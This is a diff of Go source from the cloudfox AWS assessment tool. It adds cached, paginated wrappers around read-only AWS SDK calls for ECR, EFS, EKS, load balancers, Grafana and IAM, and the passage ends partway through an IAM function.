||||
"encoding/gob"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/ecr"
|
||||
ecrTypes "github.com/aws/aws-sdk-go-v2/service/ecr/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
)
|
||||
|
||||
type AWSECRClientInterface interface {
|
||||
DescribeRepositories(ctx context.Context, params *ecr.DescribeRepositoriesInput, optFns ...func(*ecr.Options)) (*ecr.DescribeRepositoriesOutput, error)
|
||||
DescribeImages(ctx context.Context, params *ecr.DescribeImagesInput, optFns ...func(*ecr.Options)) (*ecr.DescribeImagesOutput, error)
|
||||
GetRepositoryPolicy(ctx context.Context, params *ecr.GetRepositoryPolicyInput, optFns ...func(*ecr.Options)) (*ecr.GetRepositoryPolicyOutput, error)
|
||||
}
|
||||
|
||||
func RegisterECRTypes() {
|
||||
gob.Register([]ecrTypes.Repository{})
|
||||
gob.Register([]ecrTypes.ImageDetail{})
|
||||
|
||||
}
|
||||
|
||||
// create a CachedECRDescribeRepositories function that uses go-cache line the other Cached* functions. It should accept a ecr client, account id, and region. Make sure it handles the region option and pagination if needed
|
||||
func CachedECRDescribeRepositories(ECRClient AWSECRClientInterface, accountID string, region string) ([]ecrTypes.Repository, error) {
|
||||
var PaginationControl *string
|
||||
var repositories []ecrTypes.Repository
|
||||
cacheKey := fmt.Sprintf("%s-ecr-DescribeRepositories-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached ECR repositories data")
|
||||
return cached.([]ecrTypes.Repository), nil
|
||||
}
|
||||
|
||||
for {
|
||||
DescribeRepositories, err := ECRClient.DescribeRepositories(
|
||||
context.TODO(),
|
||||
&ecr.DescribeRepositoriesInput{
|
||||
NextToken: PaginationControl,
|
||||
},
|
||||
func(o *ecr.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
break
|
||||
}
|
||||
|
||||
repositories = append(repositories, DescribeRepositories.Repositories...)
|
||||
|
||||
// Pagination control.
|
||||
if DescribeRepositories.NextToken != nil {
|
||||
PaginationControl = DescribeRepositories.NextToken
|
||||
} else {
|
||||
PaginationControl = nil
|
||||
break
|
||||
}
|
||||
}
|
||||
internal.Cache.Set(cacheKey, repositories, cache.DefaultExpiration)
|
||||
return repositories, nil
|
||||
}
|
||||
|
||||
// create a CachedECRDescribeImages function that uses go-cache line the other Cached* functions. It should accept a ecr client, account id, and region. Make sure it handles the region option and pagination if needed
|
||||
func CachedECRDescribeImages(ECRClient AWSECRClientInterface, accountID string, region string, repositoryName string) ([]ecrTypes.ImageDetail, error) {
|
||||
var PaginationControl *string
|
||||
var images []ecrTypes.ImageDetail
|
||||
cacheKey := fmt.Sprintf("%s-efs-DescribImages-%s-%s", accountID, region, strings.ReplaceAll(repositoryName, "/", "-"))
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached Images data")
|
||||
return cached.([]ecrTypes.ImageDetail), nil
|
||||
}
|
||||
|
||||
for {
|
||||
DescribeImages, err := ECRClient.DescribeImages(
|
||||
context.TODO(),
|
||||
&ecr.DescribeImagesInput{
|
||||
NextToken: PaginationControl,
|
||||
RepositoryName: &repositoryName,
|
||||
},
|
||||
func(o *ecr.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
break
|
||||
}
|
||||
|
||||
images = append(images, DescribeImages.ImageDetails...)
|
||||
|
||||
// Pagination control.
|
||||
if DescribeImages.NextToken != nil {
|
||||
PaginationControl = DescribeImages.NextToken
|
||||
} else {
|
||||
PaginationControl = nil
|
||||
break
|
||||
}
|
||||
}
|
||||
internal.Cache.Set(cacheKey, images, cache.DefaultExpiration)
|
||||
return images, nil
|
||||
}
|
||||
|
||||
// create a CachedECRGetRepositoryPolicy function that uses go-cache line the other Cached* functions. It should accept a ecr client, account id, and region. Make sure it handles the region option and pagination if needed
|
||||
func CachedECRGetRepositoryPolicy(ECRClient AWSECRClientInterface, accountID string, region string, repositoryName string) (string, error) {
|
||||
// in repositoryName, replace "/" with "-"
|
||||
cacheKey := fmt.Sprintf("%s-ecr-GetRepositoryPolicy-%s-%s", accountID, region, strings.ReplaceAll(repositoryName, "/", "-"))
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached ECR repository policy data")
|
||||
return cached.(string), nil
|
||||
}
|
||||
|
||||
GetRepositoryPolicy, err := ECRClient.GetRepositoryPolicy(
|
||||
context.TODO(),
|
||||
&ecr.GetRepositoryPolicyInput{
|
||||
RepositoryName: &repositoryName,
|
||||
},
|
||||
func(o *ecr.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
return "", err
|
||||
}
|
||||
PolicyText := aws.ToString(GetRepositoryPolicy.PolicyText)
|
||||
|
||||
internal.Cache.Set(cacheKey, PolicyText, cache.DefaultExpiration)
|
||||
return PolicyText, nil
|
||||
}
|
||||
+178
@@ -0,0 +1,178 @@
|
||||
package sdk
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/gob"
|
||||
"fmt"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/BishopFox/cloudfox/internal/aws/policy"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/efs"
|
||||
efsTypes "github.com/aws/aws-sdk-go-v2/service/efs/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
)
|
||||
|
||||
type AWSEFSClientInterface interface {
|
||||
DescribeFileSystems(ctx context.Context, params *efs.DescribeFileSystemsInput, optFns ...func(*efs.Options)) (*efs.DescribeFileSystemsOutput, error)
|
||||
DescribeMountTargets(ctx context.Context, params *efs.DescribeMountTargetsInput, optFns ...func(*efs.Options)) (*efs.DescribeMountTargetsOutput, error)
|
||||
DescribeAccessPoints(ctx context.Context, params *efs.DescribeAccessPointsInput, optFns ...func(*efs.Options)) (*efs.DescribeAccessPointsOutput, error)
|
||||
DescribeFileSystemPolicy(ctx context.Context, params *efs.DescribeFileSystemPolicyInput, optFns ...func(*efs.Options)) (*efs.DescribeFileSystemPolicyOutput, error)
|
||||
}
|
||||
|
||||
func RegisterEFSTypes() {
|
||||
gob.Register([]efsTypes.FileSystemDescription{})
|
||||
gob.Register([]efsTypes.MountTargetDescription{})
|
||||
gob.Register([]efsTypes.AccessPointDescription{})
|
||||
gob.Register(policy.Policy{})
|
||||
}
|
||||
|
||||
func CachedDescribeFileSystems(EFSClient AWSEFSClientInterface, accountID string, r string) ([]efsTypes.FileSystemDescription, error) {
|
||||
var PaginationMarker *string
|
||||
var filesystems []efsTypes.FileSystemDescription
|
||||
var err error
|
||||
cacheKey := fmt.Sprintf("%s-efs-DescribeFileSystems-%s", accountID, r)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.([]efsTypes.FileSystemDescription), nil
|
||||
}
|
||||
|
||||
for {
|
||||
DescribeFileSystems, err := EFSClient.DescribeFileSystems(
|
||||
context.TODO(),
|
||||
&efs.DescribeFileSystemsInput{
|
||||
Marker: PaginationMarker,
|
||||
},
|
||||
func(o *efs.Options) {
|
||||
o.Region = r
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
return nil, err
|
||||
}
|
||||
|
||||
filesystems = append(filesystems, DescribeFileSystems.FileSystems...)
|
||||
|
||||
// Pagination control. After the last page of output, the for loop exits.
|
||||
if DescribeFileSystems.Marker != nil {
|
||||
PaginationMarker = DescribeFileSystems.Marker
|
||||
} else {
|
||||
PaginationMarker = nil
|
||||
break
|
||||
}
|
||||
}
|
||||
internal.Cache.Set(cacheKey, filesystems, cache.DefaultExpiration)
|
||||
return filesystems, err
|
||||
}
|
||||
|
||||
func CachedDescribeMountTargets(EFSClient AWSEFSClientInterface, accountID string, r string, filesystemId string) ([]efsTypes.MountTargetDescription, error) {
|
||||
var PaginationMarker *string
|
||||
var mountTargets []efsTypes.MountTargetDescription
|
||||
var err error
|
||||
cacheKey := fmt.Sprintf("%s-efs-DescribeMountTargets-%s-%s", accountID, r, filesystemId)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.([]efsTypes.MountTargetDescription), nil
|
||||
}
|
||||
|
||||
for {
|
||||
DescribeMountTargets, err := EFSClient.DescribeMountTargets(
|
||||
context.TODO(),
|
||||
&efs.DescribeMountTargetsInput{
|
||||
FileSystemId: aws.String(filesystemId),
|
||||
Marker: PaginationMarker,
|
||||
},
|
||||
func(o *efs.Options) {
|
||||
o.Region = r
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
return nil, err
|
||||
}
|
||||
|
||||
mountTargets = append(mountTargets, DescribeMountTargets.MountTargets...)
|
||||
|
||||
// Pagination control. After the last page of output, the for loop exits.
|
||||
if DescribeMountTargets.Marker != nil {
|
||||
PaginationMarker = DescribeMountTargets.Marker
|
||||
} else {
|
||||
PaginationMarker = nil
|
||||
break
|
||||
}
|
||||
}
|
||||
internal.Cache.Set(cacheKey, mountTargets, cache.DefaultExpiration)
|
||||
return mountTargets, err
|
||||
}
|
||||
|
||||
func CachedDescribeAccessPoints(EFSClient AWSEFSClientInterface, accountID string, r string, filesystemId string) ([]efsTypes.AccessPointDescription, error) {
|
||||
var PaginationMarker *string
|
||||
var accessPoints []efsTypes.AccessPointDescription
|
||||
var err error
|
||||
cacheKey := fmt.Sprintf("%s-efs-DescribeAccessPoints-%s-%s", accountID, r, filesystemId)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.([]efsTypes.AccessPointDescription), nil
|
||||
}
|
||||
for {
|
||||
DescribeAccessPoints, err := EFSClient.DescribeAccessPoints(
|
||||
context.TODO(),
|
||||
&efs.DescribeAccessPointsInput{
|
||||
FileSystemId: aws.String(filesystemId),
|
||||
NextToken: PaginationMarker,
|
||||
},
|
||||
func(o *efs.Options) {
|
||||
o.Region = r
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
return nil, err
|
||||
}
|
||||
|
||||
accessPoints = append(accessPoints, DescribeAccessPoints.AccessPoints...)
|
||||
|
||||
// Pagination control. After the last page of output, the for loop exits.
|
||||
if DescribeAccessPoints.NextToken != nil {
|
||||
PaginationMarker = DescribeAccessPoints.NextToken
|
||||
} else {
|
||||
PaginationMarker = nil
|
||||
break
|
||||
}
|
||||
}
|
||||
internal.Cache.Set(cacheKey, accessPoints, cache.DefaultExpiration)
|
||||
return accessPoints, err
|
||||
}
|
||||
|
||||
func CachedDescribeFileSystemPolicy(EFSClient AWSEFSClientInterface, filesystemId string, r string, accountID string) (policy.Policy, error) {
|
||||
var efsPolicy policy.Policy
|
||||
var policyJSON string
|
||||
cacheKey := fmt.Sprintf("efs-%s-DescribeFileSystemPolicy-%s-%s", accountID, r, filesystemId)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.(policy.Policy), nil
|
||||
}
|
||||
|
||||
Policy, err := EFSClient.DescribeFileSystemPolicy(
|
||||
context.TODO(),
|
||||
&efs.DescribeFileSystemPolicyInput{
|
||||
FileSystemId: aws.String(filesystemId),
|
||||
},
|
||||
func(o *efs.Options) {
|
||||
o.Region = r
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
return efsPolicy, err
|
||||
}
|
||||
|
||||
policyJSON = aws.ToString(Policy.Policy)
|
||||
efsPolicy, err = policy.ParseJSONPolicy([]byte(policyJSON))
|
||||
if err != nil {
|
||||
return efsPolicy, fmt.Errorf("parsing policy (%s) as JSON: %s", filesystemId, err)
|
||||
}
|
||||
internal.Cache.Set(cacheKey, efsPolicy, cache.DefaultExpiration)
|
||||
return efsPolicy, nil
|
||||
}
|
||||
+152
@@ -0,0 +1,152 @@
|
||||
package sdk
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/gob"
|
||||
"fmt"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/service/eks"
|
||||
eksTypes "github.com/aws/aws-sdk-go-v2/service/eks/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
)
|
||||
|
||||
type EKSClientInterface interface {
|
||||
DescribeCluster(context.Context, *eks.DescribeClusterInput, ...func(*eks.Options)) (*eks.DescribeClusterOutput, error)
|
||||
ListClusters(context.Context, *eks.ListClustersInput, ...func(*eks.Options)) (*eks.ListClustersOutput, error)
|
||||
DescribeNodegroup(context.Context, *eks.DescribeNodegroupInput, ...func(*eks.Options)) (*eks.DescribeNodegroupOutput, error)
|
||||
ListNodegroups(context.Context, *eks.ListNodegroupsInput, ...func(*eks.Options)) (*eks.ListNodegroupsOutput, error)
|
||||
}
|
||||
|
||||
func RegisterEKSTypes() {
|
||||
gob.Register([]string{})
|
||||
gob.Register(eksTypes.Cluster{})
|
||||
gob.Register(eksTypes.Nodegroup{})
|
||||
|
||||
}
|
||||
|
||||
func CachedEKSDescribeCluster(client EKSClientInterface, accountID string, clusterName string, region string) (eksTypes.Cluster, error) {
|
||||
var cluster eksTypes.Cluster
|
||||
cacheKey := fmt.Sprintf("%s-eks-DescribeCluster-%s-%s", accountID, region, clusterName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.(eksTypes.Cluster), nil
|
||||
}
|
||||
clusterOutput, err := client.DescribeCluster(
|
||||
context.TODO(),
|
||||
&eks.DescribeClusterInput{
|
||||
Name: &clusterName,
|
||||
},
|
||||
func(o *eks.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
return cluster, err
|
||||
}
|
||||
cluster = *clusterOutput.Cluster
|
||||
|
||||
internal.Cache.Set(cacheKey, cluster, cache.DefaultExpiration)
|
||||
return cluster, nil
|
||||
}
|
||||
|
||||
func CachedEKSListClusters(client EKSClientInterface, accountID string, region string) ([]string, error) {
|
||||
var PaginationControl *string
|
||||
var clusters []string
|
||||
cacheKey := fmt.Sprintf("%s-eks-ListClusters-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.([]string), nil
|
||||
}
|
||||
for {
|
||||
ListClusters, err := client.ListClusters(
|
||||
context.TODO(),
|
||||
&eks.ListClustersInput{
|
||||
NextToken: PaginationControl,
|
||||
},
|
||||
func(o *eks.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
return clusters, err
|
||||
}
|
||||
|
||||
clusters = append(clusters, ListClusters.Clusters...)
|
||||
|
||||
//pagination
|
||||
if ListClusters.NextToken == nil {
|
||||
break
|
||||
}
|
||||
PaginationControl = ListClusters.NextToken
|
||||
}
|
||||
|
||||
internal.Cache.Set(cacheKey, clusters, cache.DefaultExpiration)
|
||||
return clusters, nil
|
||||
}
|
||||
|
||||
func CachedEKSListNodeGroups(client EKSClientInterface, accountID string, region string, clusterName string) ([]string, error) {
|
||||
var PaginationControl *string
|
||||
var nodeGroups []string
|
||||
cacheKey := fmt.Sprintf("%s-eks-ListNodeGroups-%s-%s", accountID, region, clusterName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.([]string), nil
|
||||
}
|
||||
for {
|
||||
ListNodeGroups, err := client.ListNodegroups(
|
||||
context.TODO(),
|
||||
&eks.ListNodegroupsInput{
|
||||
ClusterName: &clusterName,
|
||||
NextToken: PaginationControl,
|
||||
},
|
||||
func(o *eks.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
return nodeGroups, err
|
||||
}
|
||||
|
||||
nodeGroups = append(nodeGroups, ListNodeGroups.Nodegroups...)
|
||||
if ListNodeGroups.NextToken != nil {
|
||||
PaginationControl = ListNodeGroups.NextToken
|
||||
} else {
|
||||
PaginationControl = nil
|
||||
break
|
||||
}
|
||||
|
||||
}
|
||||
internal.Cache.Set(cacheKey, nodeGroups, cache.DefaultExpiration)
|
||||
|
||||
return nodeGroups, nil
|
||||
}
|
||||
|
||||
func CachedEKSDescribeNodeGroup(client EKSClientInterface, accountID string, region string, clusterName string, nodeGroupName string) (eksTypes.Nodegroup, error) {
|
||||
var nodeGroup eksTypes.Nodegroup
|
||||
cacheKey := fmt.Sprintf("%s-eks-DescribeNodeGroup-%s-%s-%s", accountID, region, nodeGroupName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.(eksTypes.Nodegroup), nil
|
||||
}
|
||||
nodeGroupOutput, err := client.DescribeNodegroup(
|
||||
context.TODO(),
|
||||
&eks.DescribeNodegroupInput{
|
||||
ClusterName: &clusterName,
|
||||
NodegroupName: &nodeGroupName,
|
||||
},
|
||||
func(o *eks.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
return nodeGroup, err
|
||||
}
|
||||
nodeGroup = *nodeGroupOutput.Nodegroup
|
||||
|
||||
internal.Cache.Set(cacheKey, nodeGroup, cache.DefaultExpiration)
|
||||
return nodeGroup, nil
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
package sdk
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/gob"
|
||||
"fmt"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/service/elasticloadbalancing"
|
||||
elbTypes "github.com/aws/aws-sdk-go-v2/service/elasticloadbalancing/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
)
|
||||
|
||||
type ELBClientInterface interface {
|
||||
DescribeLoadBalancers(context.Context, *elasticloadbalancing.DescribeLoadBalancersInput, ...func(*elasticloadbalancing.Options)) (*elasticloadbalancing.DescribeLoadBalancersOutput, error)
|
||||
}
|
||||
|
||||
func RegisterELBTypes() {
|
||||
gob.Register([]elbTypes.LoadBalancerDescription{})
|
||||
}
|
||||
|
||||
func CachedELBDescribeLoadBalancers(client ELBClientInterface, accountID string, region string) ([]elbTypes.LoadBalancerDescription, error) {
|
||||
var PaginationControl *string
|
||||
var loadbalancers []elbTypes.LoadBalancerDescription
|
||||
cacheKey := fmt.Sprintf("%s-elb-DescribeLoadBalancers-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.([]elbTypes.LoadBalancerDescription), nil
|
||||
}
|
||||
for {
|
||||
DescribeLoadBalancers, err := client.DescribeLoadBalancers(
|
||||
context.TODO(),
|
||||
&elasticloadbalancing.DescribeLoadBalancersInput{
|
||||
Marker: PaginationControl,
|
||||
},
|
||||
func(o *elasticloadbalancing.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
return loadbalancers, err
|
||||
}
|
||||
|
||||
loadbalancers = append(loadbalancers, DescribeLoadBalancers.LoadBalancerDescriptions...)
|
||||
|
||||
//pagination
|
||||
if DescribeLoadBalancers.NextMarker == nil {
|
||||
break
|
||||
}
|
||||
PaginationControl = DescribeLoadBalancers.NextMarker
|
||||
}
|
||||
|
||||
internal.Cache.Set(cacheKey, loadbalancers, cache.DefaultExpiration)
|
||||
return loadbalancers, nil
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
package sdk
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/gob"
|
||||
"fmt"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/service/elasticloadbalancingv2"
|
||||
elbV2Types "github.com/aws/aws-sdk-go-v2/service/elasticloadbalancingv2/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
)
|
||||
|
||||
type ELBv2ClientInterface interface {
|
||||
DescribeLoadBalancers(context.Context, *elasticloadbalancingv2.DescribeLoadBalancersInput, ...func(*elasticloadbalancingv2.Options)) (*elasticloadbalancingv2.DescribeLoadBalancersOutput, error)
|
||||
}
|
||||
|
||||
func RegisterELBv2Types() {
|
||||
gob.Register([]elbV2Types.LoadBalancer{})
|
||||
}
|
||||
|
||||
func CachedELBv2DescribeLoadBalancers(client ELBv2ClientInterface, accountID string, region string) ([]elbV2Types.LoadBalancer, error) {
|
||||
var PaginationControl *string
|
||||
var loadbalancers []elbV2Types.LoadBalancer
|
||||
cacheKey := fmt.Sprintf("%s-elbv2-DescribeLoadBalancers-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.([]elbV2Types.LoadBalancer), nil
|
||||
}
|
||||
for {
|
||||
DescribeLoadBalancers, err := client.DescribeLoadBalancers(
|
||||
context.TODO(),
|
||||
&elasticloadbalancingv2.DescribeLoadBalancersInput{
|
||||
Marker: PaginationControl,
|
||||
},
|
||||
func(o *elasticloadbalancingv2.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
return loadbalancers, err
|
||||
}
|
||||
|
||||
loadbalancers = append(loadbalancers, DescribeLoadBalancers.LoadBalancers...)
|
||||
|
||||
//pagination
|
||||
if DescribeLoadBalancers.NextMarker == nil {
|
||||
break
|
||||
}
|
||||
PaginationControl = DescribeLoadBalancers.NextMarker
|
||||
}
|
||||
|
||||
internal.Cache.Set(cacheKey, loadbalancers, cache.DefaultExpiration)
|
||||
return loadbalancers, nil
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
package sdk
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/gob"
|
||||
"fmt"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/service/grafana"
|
||||
grafanaTypes "github.com/aws/aws-sdk-go-v2/service/grafana/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
)
|
||||
|
||||
type GrafanaClientInterface interface {
|
||||
ListWorkspaces(context.Context, *grafana.ListWorkspacesInput, ...func(*grafana.Options)) (*grafana.ListWorkspacesOutput, error)
|
||||
}
|
||||
|
||||
func RegisterGrafanaTypes() {
|
||||
gob.Register([]grafanaTypes.WorkspaceSummary{})
|
||||
}
|
||||
|
||||
func CachedGrafanaListWorkspaces(client GrafanaClientInterface, accountID string, region string) ([]grafanaTypes.WorkspaceSummary, error) {
|
||||
var PaginationControl *string
|
||||
var workspaces []grafanaTypes.WorkspaceSummary
|
||||
cacheKey := fmt.Sprintf("%s-grafana-ListWorkspaces-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.([]grafanaTypes.WorkspaceSummary), nil
|
||||
}
|
||||
|
||||
for {
|
||||
|
||||
ListWorkspaces, err := client.ListWorkspaces(
|
||||
context.TODO(),
|
||||
&grafana.ListWorkspacesInput{
|
||||
NextToken: PaginationControl,
|
||||
},
|
||||
func(o *grafana.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
return workspaces, err
|
||||
|
||||
}
|
||||
|
||||
workspaces = append(workspaces, ListWorkspaces.Workspaces...)
|
||||
|
||||
//pagination
|
||||
if ListWorkspaces.NextToken == nil {
|
||||
break
|
||||
}
|
||||
PaginationControl = ListWorkspaces.NextToken
|
||||
}
|
||||
|
||||
internal.Cache.Set(cacheKey, workspaces, cache.DefaultExpiration)
|
||||
return workspaces, nil
|
||||
}
|
||||
+252
@@ -0,0 +1,252 @@
|
||||
package sdk
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/md5"
|
||||
"encoding/gob"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/aws/arn"
|
||||
"github.com/aws/aws-sdk-go-v2/service/iam"
|
||||
iamTypes "github.com/aws/aws-sdk-go-v2/service/iam/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
)
|
||||
|
||||
type AWSIAMClientInterface interface {
|
||||
ListUsers(ctx context.Context, params *iam.ListUsersInput, optFns ...func(*iam.Options)) (*iam.ListUsersOutput, error)
|
||||
ListAccessKeys(ctx context.Context, params *iam.ListAccessKeysInput, optFns ...func(*iam.Options)) (*iam.ListAccessKeysOutput, error)
|
||||
ListRoles(ctx context.Context, params *iam.ListRolesInput, optFns ...func(*iam.Options)) (*iam.ListRolesOutput, error)
|
||||
GetAccountAuthorizationDetails(ctx context.Context, params *iam.GetAccountAuthorizationDetailsInput, optFns ...func(*iam.Options)) (*iam.GetAccountAuthorizationDetailsOutput, error)
|
||||
SimulatePrincipalPolicy(ctx context.Context, params *iam.SimulatePrincipalPolicyInput, optFns ...func(*iam.Options)) (*iam.SimulatePrincipalPolicyOutput, error)
|
||||
ListInstanceProfiles(ctx context.Context, params *iam.ListInstanceProfilesInput, optFns ...func(*iam.Options)) (*iam.ListInstanceProfilesOutput, error)
|
||||
}
|
||||
|
||||
func RegisterIamTypes() {
|
||||
gob.Register([]iamTypes.User{})
|
||||
gob.Register([]iamTypes.AccessKeyMetadata{})
|
||||
gob.Register([]iamTypes.Role{})
|
||||
gob.Register([]iamTypes.PolicyDetail{})
|
||||
gob.Register([]iamTypes.InstanceProfile{})
|
||||
gob.Register([]iamTypes.EvaluationResult{})
|
||||
gob.Register(customGAADOutput{})
|
||||
}
|
||||
|
||||
func CachedIamListUsers(IAMClient AWSIAMClientInterface, accountID string) ([]iamTypes.User, error) {
|
||||
var PaginationControl *string
|
||||
var users []iamTypes.User
|
||||
cacheKey := fmt.Sprintf("%s-iam-ListUsers", accountID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.([]iamTypes.User), nil
|
||||
}
|
||||
|
||||
for {
|
||||
ListUsers, err := IAMClient.ListUsers(
|
||||
context.TODO(),
|
||||
&iam.ListUsersInput{
|
||||
Marker: PaginationControl,
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
break
|
||||
}
|
||||
|
||||
users = append(users, ListUsers.Users...)
|
||||
|
||||
// Pagination control.
|
||||
if ListUsers.Marker != nil {
|
||||
PaginationControl = ListUsers.Marker
|
||||
} else {
|
||||
PaginationControl = nil
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
internal.Cache.Set(cacheKey, users, cache.DefaultExpiration)
|
||||
return users, nil
|
||||
|
||||
}
|
||||
|
||||
func CachedIamListRoles(IAMClient AWSIAMClientInterface, accountID string) ([]iamTypes.Role, error) {
|
||||
var PaginationControl *string
|
||||
var roles []iamTypes.Role
|
||||
cacheKey := fmt.Sprintf("%s-iam-ListRoles", accountID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.([]iamTypes.Role), nil
|
||||
}
|
||||
|
||||
for {
|
||||
ListRoles, err := IAMClient.ListRoles(
|
||||
context.TODO(),
|
||||
&iam.ListRolesInput{
|
||||
Marker: PaginationControl,
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
break
|
||||
}
|
||||
|
||||
roles = append(roles, ListRoles.Roles...)
|
||||
|
||||
// Pagination control.
|
||||
if ListRoles.Marker != nil {
|
||||
PaginationControl = ListRoles.Marker
|
||||
} else {
|
||||
PaginationControl = nil
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
internal.Cache.Set(cacheKey, roles, cache.DefaultExpiration)
|
||||
return roles, nil
|
||||
|
||||
}
|
||||
|
||||
func CachedIamListAccessKeys(IAMClient AWSIAMClientInterface, accountID string, userName string) ([]iamTypes.AccessKeyMetadata, error) {
|
||||
var PaginationControl *string
|
||||
var accessKeys []iamTypes.AccessKeyMetadata
|
||||
cacheKey := fmt.Sprintf("%s-iam-ListAccessKeys-%s", accountID, userName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.([]iamTypes.AccessKeyMetadata), nil
|
||||
}
|
||||
|
||||
for {
|
||||
ListAccessKeys, err := IAMClient.ListAccessKeys(
|
||||
context.TODO(),
|
||||
&iam.ListAccessKeysInput{
|
||||
UserName: &userName,
|
||||
Marker: PaginationControl,
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
return accessKeys, err
|
||||
}
|
||||
|
||||
accessKeys = append(accessKeys, ListAccessKeys.AccessKeyMetadata...)
|
||||
|
||||
// Pagination control.
|
||||
if ListAccessKeys.Marker != nil {
|
||||
PaginationControl = ListAccessKeys.Marker
|
||||
} else {
|
||||
PaginationControl = nil
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
internal.Cache.Set(cacheKey, accessKeys, cache.DefaultExpiration)
|
||||
return accessKeys, nil
|
||||
|
||||
}
|
||||
|
||||
type customGAADOutput struct {
|
||||
GroupDetailList []iamTypes.GroupDetail
|
||||
UserDetailList []iamTypes.UserDetail
|
||||
RoleDetailList []iamTypes.RoleDetail
|
||||
Policies []iamTypes.ManagedPolicyDetail
|
||||
}
|
||||
|
||||
func CachedIAMGetAccountAuthorizationDetails(IAMClient AWSIAMClientInterface, accountID string) (customGAADOutput, error) {
|
||||
var PaginationControl *string
|
||||
var GroupDetailList []iamTypes.GroupDetail
|
||||
var UserDetailList []iamTypes.UserDetail
|
||||
var RoleDetailList []iamTypes.RoleDetail
|
||||
